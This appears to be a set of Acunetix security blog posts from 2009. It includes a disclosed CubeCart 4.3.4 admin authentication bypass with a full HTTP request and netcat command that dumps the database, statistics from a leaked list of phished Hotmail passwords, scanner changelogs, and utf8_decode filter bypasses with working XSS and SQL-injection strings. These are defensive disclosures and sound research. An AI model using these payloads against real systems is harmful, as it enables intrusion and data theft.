Release Date: 2009/10/29
Author: Bogdan Calin (bogdan [at] acunetix [dot] com)
Severity: Critical
Vendor Status: Vendor has released an updated version

I. Background

From Wikipedia: CubeCart is a free-to-use eCommerce software solution, designed to allow individuals and businesses sell tangible and digital goods on line. CubeCart is not Open Source software, although full source code is available at no cost, and the custom licensing model allows for customisation of the code.
…
CubeCart has developed a large fanbase, due in part, to the relative ease of creating modifications and enhancements. In the September/October 2007 issue of Practical eCommerce magazine, CubeCart was placed at #1 in their list of ‘100 Most Notable Shopping Carts’.

II. Description

While auditing the source code of CubeCart version v4.3.4, I’ve found a critical vulnerability in this application. Session managament for administrative users is flawed. It is easy to bypass it without providing any credentials. An attacker can later perform any actions the administrator can, such as dumping the database, install modules (PHP code execution) and so on.

CubeCart is using a MySQL table named CubeCart_admin_users for storing information about administrative users.

When an administrator logs in, the applications stores his session ID, browser (user agent) and IP address in the sessId, browser and sessIP fields.

When the adminstrator logs out, these values are cleared. So sessId and the others fields become empty (as in an empty string).

Let’s analyze the code:

In classes\session\cc_admin_session.php, on line 56 there is:

$query = sprintf(”SELECT * FROM “.$this->glob['dbprefix'].”CubeCart_admin_users WHERE sessId = %s”, $this->db->mySQLSafe($GLOBALS[CC_ADMIN_SESSION_NAME]));

This will select the fields for the administrative user corresponding to the session identified by sessID.

But when the administrative user is logged out, sessID is empty. So, we can bypass this check by using an empty sessID.

There are 2 more checks that need to be bypassed:

There is this piece of code:

if (strpos($_SERVER['HTTP_USER_AGENT'],’AOL’) == false && $ccAdminData[0]['sessIp'] !== $client_ip || $ccAdminData[0]['browser'] !== $_SERVER['HTTP_USER_AGENT']) {

$this->logout();

}

The HTTP_USER_AGENT check can be easily bypassed using an empty user agent.  How about the $client_ip check?  At first I was thinking that it’s not possible to bypass that.  Let’s look at the code:

Filename includes\functions.inc.php, line 36:

There are all these complex checks for validating $_SERVER['REMOTE_ADDR']. However, $_SERVER['REMOTE_ADDR'], which cannot be faked.  And then, on the second line there is:

if(isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])
&& !detectSSL()) return $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];

This line will bypass all those complex checks. So, you just need to send an X_CLUSTER_CLIENT_IP header with an empty value.  This line of code (the one with X_CLUSTER_CLIENT_IP) looks like a hack to me.It was probably added later to fix some bug or add a new feature.

III. Proof of concept

The conclusion is that by entering empty sessId (ccAdmin cookie), user-agent and X_CLUSTER_CLIENT_IP header you can bypass the authentication and perform any actions an adminstrator can perform.

Here is a sample HTTP request that will dump the whole database in one request:

---------------------------------------------------------------------------------
POST /CubeCart-latest/admin.php?_g=maintenance/backup HTTP/1.1
Host: bld02
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCpv+NVAHAgHHdvdI
User-Agent:
X_CLUSTER_CLIENT_IP:
Cookie: ccAdmin=+
Accept: */*;q=0.5
Content-Length: 434

------WebKitFormBoundaryCpv+NVAHAgHHdvdI
Content-Disposition: form-data; name="structure"

1
------WebKitFormBoundaryCpv+NVAHAgHHdvdI
Content-Disposition: form-data; name="data"

1
------WebKitFormBoundaryCpv+NVAHAgHHdvdI
Content-Disposition: form-data; name="dbbackup"

1
------WebKitFormBoundaryCpv+NVAHAgHHdvdI
Content-Disposition: form-data; name="submit"

Download Now
------WebKitFormBoundaryCpv+NVAHAgHHdvdI--

---------------------------------------------------------------------------------

You can save it in a text file and use it with netcat (http://netcat.sourceforge.net/) like:

>nc bld02 80 < db_dump.txt | more

HTTP/1.1 200 OK
Date: Tue, 20 Oct 2009 09:01:58 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.3 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.6-2ubuntu4.3
Pragma: private
Cache-control: private, must-revalidate
Content-Disposition: attachment; filename=cubecartlatest_20Oct09.sql
Content-length: 80864
Content-Transfer-Encoding: binary
Content-Type: application/octet-stream

-- --------------------------------------------------------
-- CubeCart SQL Dump
-- version 4.3.4
-- http://www.cubecart.com
--
-- Host: localhost
-- Generation Time: Oct 20 2009, 12:01 PM
-- Server version: 5.0.67-0ubuntu6
-- PHP Version: 5.2.6-2ubuntu4.3
--
-- Database: `cubecartlatest`
-- --------------------------------------------------------

--
-- Table structure for table `CubeCart_Coupons`
--

...

CREATE TABLE `CubeCart_transactions` (
   `id` int(11) NOT NULL auto_increment,
   `gateway` varchar(255),
   `extra` varchar(255),
   `status` varchar(50),
   `customer_id` int(11),
   `order_id` varchar(255),
   `trans_id` varchar(50),
   `time` int(10),
   `amount` decimal(30,2),
   `remainder` decimal(30,2) DEFAULT '0.00' NOT NULL,
   `notes` text,
 PRIMARY KEY (`id`),
 KEY `customer_id` (`customer_id`)
) ENGINE MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COLLATE=utf8_unicode_ci ;

--
-- Dumping data for table `CubeCart_transactions`
--

An administrator can install CubeCart packages, and it’s trivial to create a dummy package with a shell inside and install it.  Therefore, PHP code execution is possible and quite trivial.

IV. Workaround

The vendor was notified about this vulnerability on 20 October 2009 and they’ve released a fix on 26 October 2009
The problem was fixed in CubeCart version 4.3.5, which is available here: http://forums.cubecart.com/index.php?showtopic=39691.

However, the post “CubeCart 4.3.5 Released, Maintenance Release”, doesn’t include any information about this critical vulnerability.

Whats new?

- URL’s Changed in WorldPay module to match “RBS Worldpay” branding
- PayPal 3D Secure Fix & Enhancements *
- Moneybookers Payment Notification Fix
- Database Class Optimization
- Misc bugs…

I find this behaviour completely unprofessional: a vendor should inform his customers when a serious vulnerability is fixed in their product, especially when the product is processing credit card data, like CubeCart does.

Update: CubeCart responded and informed their customers about this vulnerability. That’s great

Bug fixes:

• Fixed: Redirect on LoginSequenceStep was not followed correctly
• Fix in URL Rewrite module to remove GetVars before matching rules

How to upgrade: On starting up Acunetix WVS, a pop up window will automatically notify you that a new build has been uploaded.  To download the latest navigate to General > Program Updates node in the Tools explorer and click on Download and Install new build.

Click here for the complete Acunetix WVS change log.

An updated build for Acunetix WVS Version 6.5 has been released.  It includes a number of bug fixes.

Bug fixes:

• Fixed: Memory leak when invoking state change handler
• Fixed: Item index for an item which has just been inserted fails in the Browserframe
• Fixed: Error in indexing the get variables when redirecting in Session management

How to upgrade: On starting up Acunetix WVS, a pop up window will automatically notify you that a new build has been uploaded.  To download the latest navigate to General > Program Updates node in the Tools explorer and click on Download and Install new build.

Click here for the complete Acunetix WVS change log.

An anonymous user posted usernames and passwords of over 10,000 Windows Live Hotmail accounts to a web site called PasteBin. PasteBin is currently down for maintenance but I managed to get a copy of the list, and quickly generated some statistics from these passwords.

My impression is that these passwords have been gathered using phishing kits.  Even more, the phishing kit used most probably was badly designed, since it was one that didn’t further authenticated the users to the Hotmail/Live website. I think it just returned an error message after grabbing the credentials.  I noticed this because some of the passwords are repeated once or twice (sometimes with different capitalization).  What most probably happened, is that the users didn’t understand what was happening, and they tried to enter the same password again and again, thinking the password was wrong.

Bellow are the statistics:

• The list initially contained 10,028 entries.
• After I’ve cleaned up the list, like removing entries without a password,  I had 9843 valid entries (passwords).
• There are 8931 (90%) unique passwords in the list.

• The longest password was 30 chars long: lafaroleratropezoooooooooooooo.
• The shortest password was 1 char long : )

Top 20 most common passwords:

1. 123456 - 64
2. 123456789 - 18
3. alejandra - 11
4. 111111 - 10
5. alberto - 9
6. tequiero - 9
7. alejandro - 9
8. 12345678 - 9
9. 1234567 - 8
10. estrella - 7
11. iloveyou  - 7
12. daniel  - 7
13. 000000  - 7
14. roberto  - 7
15. 654321  - 6
16. bonita  - 6
17. sebastian  - 6
18. beatriz  - 6
19. mariposa  - 5
20. america  - 5

Based on these passwords I think the phishing kit was targeted towards the Latino community.

Password length distribution:

• 1 chars – 2 – 0 %
• 2 chars – 4 – 0 %
• 3 chars – 4 – 0 %
• 4 chars – 31 – 0 %
• 5 chars – 49 – 1 %
• 6 chars – 1946 – 22 %
• 7 chars – 1254 – 14 %
• 8 chars – 1838 – 21 %
• 9 chars – 1091 – 12 %
• 10 chars – 772 – 9 %
• 11 chars – 527 – 6 %
• 12 chars – 431 – 5 %
• 13 chars – 290 – 3 %
• 14 chars – 219 – 2 %
• 15 chars – 157 – 2 %
• 16 chars – 190 – 2 %
• 17 chars – 56 – 1 %
• 18 chars – 17 – 0 %
• 19 chars – 7 – 0 %
• 20 chars – 14 – 0 %
• 21 chars – 10 – 0 %
• 22 chars – 8 – 0 %
• 23 chars – 3 – 0 %
• 24 chars – 3 – 0 %
• 25 chars – 3 – 0 %
• 26 chars – 0 – 0 %
• 27 chars – 3 – 0 %
• 28 chars – 0 – 0 %
• 29 chars – 1 – 0 %
• 30 chars – 1 – 0 %

As you can see from the list above, most of the passwords are between 6 and 9 characters long.  Average password length is 8 characters.

What kind of passwords were in the list? :

• 3,713 = 42 %; lower alpha passwords : passwords containing only characters from ‘a’ to ‘z’.
  Example : iloveyou
• 291 = 3 %; mixed case alpha passwords : passwords containing  characters from ‘a’ to ‘z’ and from ‘A’ to ‘Z’.
  Example: ILoveYou
• 1707 = 19 %; numeric passwords: passwords containing only numbers (’0′ to ‘9′)
  Example: 123456
• 2655 = 30 %; mixed alpha and numeric passwords: passwords containing characters from ‘a’-'z’, ‘A’-'Z’ and ‘0′-’9′.
  Example: Iloveyou12
• 565 = 6 %; mixed alpha + numeric + other characters.
  Example: 1Love You$%@

As we can see and conclude from the list above, a big majority of users still use very poor passwords: 42 % (lower alpha only) and 19 % (numeric only), while only 6 % from all the passwords had passwords which use a selection of alpha numeric and other characters.

An updated build for Acunetix WVS Version 6.5 has been released with some improvements, bug fixes and new security checks.

New:

• Added a new check for SVN repositories

Improvements:

• Improved MultiRequest paramenter manipulation; now using the form matcher to match parameter values
• Improved SQL injection tests
• Improved Application error tests

Bug fixes:

• Fixed: Links from HTML comments and other sources that are not trusted where not checked if they are from the same host as the base
• Fixed: Login sequence not working properly with HTTP authentication
• Fixed: MessageDlg was used in inittempfiles in console mode
• Fixed: WinInet bug to resent the request if the server accepts client certificates
• Fixed: Redirect from index.php to index.php was not working

How to upgrade: On starting up Acunetix WVS, a pop up window will automatically notify you that a new build has been uploaded.  To download the latest navigate to General > Program Updates node in the Tools explorer and click on Download and Install new build.

Click here for the complete Acunetix WVS change log.

The Acunetix WVS Login Sequence Recorder can be used for many other tasks rather than just to scan password protected areas in websites and web applications.  If used appropriately, it will help you in automating most of the crawling process.  The Acunetix WVS Login Sequence Recorder can also be used to:

• Configure the crawler to crawl a pre-defined path from a website or web application
• Submit specific input (forms training) when accessing web pages and web forms which require specific input
• Specify which pages need manual intervention during an automated scan, because of the unique and random input they require each time they are accessed, such as forms which utilize CAPTCHA and Single sign on forms

In this video, one can see how the Acunetix WVS Login Sequence Recorder was used to help automate most of the crawling process, and crawl all of the web application.   The website included:

a) A set of three forms which unless the details are filled correctly, the user cannot proceed from one form to the other, and finally to the success page.  The Acunetix WVS Login Sequence Recorder was used to record this pre-defined crawling sequence, including submitting the required details automatically.

b) A password protected section.  The Acunetix WVS Login Sequence Recorder was used to simulate a login automatically, and was also configured to automatically detect when the logged in session is invalidated or times out, so if it happens, the crawler will re-login automatically to continue crawling and scanning the password protected section of the web application.

c) A CAPTCHA and Single Sign on Form.  Because of the unique and random input such pages require, they cannot be automatically scanned.  If it was possible to automatically submit details to such forms, then the scope of CAPTCHA and Single Sign On technology would be nullified.  Therefore the Acunetix WVS Login Sequence Recorder was used to configure the crawler and scanner to notify the user each time one of these pages are accessed, and to allow the user to enter the required input.

Click here to watch the high quality version of this video

An updated build for Acunetix Version 6.5 has been released with some improvements and bug fixes.

New:

• Added two new blind SQL injection tests
• Added a new scanning profile for stored XSS only
• Added HTTP verb tempering using POST method check

Improvement:

• Improved appearance for compliance report by adding visual markets and several other presentation enhancements

Bug Fixes:

• Fixed temporary files access issue
• Fixed issue where HTTP Proxy was dublicating the connection: keep-alive header
• Fixed issue where HTTP Proxy was putting the authorization header from fake basic authentication into server request
• Fixed a problem where credentials configured through command line where not working properly in particular situations

How to upgrade: On starting up Acunetix WVS, a pop up window will automatically notify you that a new build has been uploaded.  To download the latest navigate to General > Program Updates node in the Tools explorer and click on Download and Install new build.

Click here for the complete Acunetix WVS change log.

Web servers are one of the most targeted public faces of an organization.  Securing a web server is as important as securing the website or web application itself and the network around it.

Although securing a web server can be a daunting operation and requires specialist expertise, it is not an impossible task to achieve.  Long hours of research and an overdose of coffee and take away food, can save you from long nights at the office, headaches and data breaches in the future.  Irrelevant of what web server software and operating system you are running, an out of the box configuration is usually insecure.  Therefore one must take some necessary steps in order to increase web server security.

Click here to learn more with the help of our security tips on how to secure web servers and database servers.

One of the main problems large enterprises are facing is that although SQL injection errors are relatively easy to find, they are difficult and costly to fix.  Developers need to have proper security skills, and keep security in mind when developing custom web applications.  Although automated web vulnerability scanners such as Acunetix WVS must always be accompanied by manual penetration testing, they help developers in saving time in securing their web applications and sharpen their security skills, to develop secure web applications before they are pushed into a production environment.

Unfortunately, while hackers used to hack websites to measure their abilities, and for the thrill hacking brings along with it, nowadays, websites and web applications are a money making target.  This is because most of these web applications form part of an organization’s perimeter network, and once compromised, they are used as a base to launch further attacks to gain access over an entire organization’s network.

In this paper, besides other things, they presented a very interesting way to bypass XSS filters using Unicode charcters.

XSS filters

Consider the following piece of code:

This code is using the utf8_decode function to decode the input to single-bytes characters. Later, it will check if the decoded input contains dangerous characters and reject the input if that’s the case. Using this function, utf8_decode is/(used to be) recommended to protect against obfuscated Unicode encoding.

Here is a quote from OWASP’s discussion  page about “Testing_for_Cross_site_scripting”;

“

The following PHP functions help mitigate Cross-Site Scripting Vulnerabilities:
…

utf8_decode() converts UTF-8 encoding to single byte ASCII characters. Decoding Unicode input prior to filtering it can help you detect attacks that the attacker has obfuscated with Unicode encoding.
…

“

However, in this case, as Eduardo and David showed, utf8_decode is the problem and not the solution. You can bypass the filter with a query string like:

vuln.php?input=%F6%3Cimg+onmouseover=prompt(/xss/)//%F6%3E

I’ve edited the code to show the input before and after utf8_decode to understand what’s going on:

input (before utf8_decode): ö<img acu onmouseover=prompt(400854747531)//ö>

decoded input (after utf8_decode): ?g acu onmouseover=prompt(400854747531)//?

The initial string contained 2 filtered characters < (%3C) and > (%3E). However, because of the %F6 character, utf8_decode is replacing them (and two more characters) with a question sign. The filter is bypassed and the code is vulnerable to XSS (cross site scripting).

utf8_decode and addslashes

However, this problem is not only related with XSS filters.  A similar case will appear when using utf8_decode to convert escaped strings (e.g. addslashes()).

Some sample source code:

This code is using addslashes (which is not a proper way to protect against SQL injection but still people use it) together with utf8_decode.   If you try to insert a single quote, addslashes will protect against SQL injection:

index.php?username=%27&password=a

user: test\’

pass: a

SQL query: SELECT * FROM users WHERE uname = ‘test\” and pass = ‘a’

I’ve updated the code to show the inputs and the SQL query. However, this code can be exploited using a query string like:

index.php?username=test%FC%27%27+or+1=1+–+&password=a

This will generate the following output:

user: test?’ or 1=1 –

pass: a

SQL query: SELECT * FROM users WHERE uname = ‘test?’ or 1=1 — ‘ and pass = ‘a’

Again, utf8_decode replaced the characters after %FC with a question mark, making the code vulnerable to SQL injection. The PHP directive magic_quotes_gpc is on by default, and it essentially runs addslashes() on all GET, POST, and COOKIE data.

While looking into this problem, I’ve found a very useful comment on the PHP page for the utf8_decode function:

Warning!
This function contains a possible security risk when you try to convert escaped strings (see addslashes() and related functions).
It reacts nasty on broken multibyte sequences. In UTF-8, follow-up bytes ALWAYS have the binary pattern 10xxxxxx, but this fact is not handled by utf8_decode in the way you would expect: If you pass a start byte (110xxxxx, 1110xxxx, 11110xxx – or even invalid sequences like 11111100), followed by one or more non-multibyte chars (0xxxxxxx), the start sequence “char” will be replaced by ‘?’ (0×3F) and up to three following chars will disappear even if they are single-byte-chars (0xxxxxxx). So if you escape a string with a typical escape char like backslash, you would expect that your escaping would always survive a call to utf8decode because the escape char is in the assumed safe ascii range 0-127, but that is NOT the case!
Try things like utf8_decode(”test: ü\\\”123456″) to check it out.
To avoid problems take care that string-escaping always is the last step of data manipulation when you depend on leak-proof escaping.

This comment explains very well what’s going on. We’ve also updated Acunetix WVS to test for this kind of vulnerabilities in the latest build (build 20090813).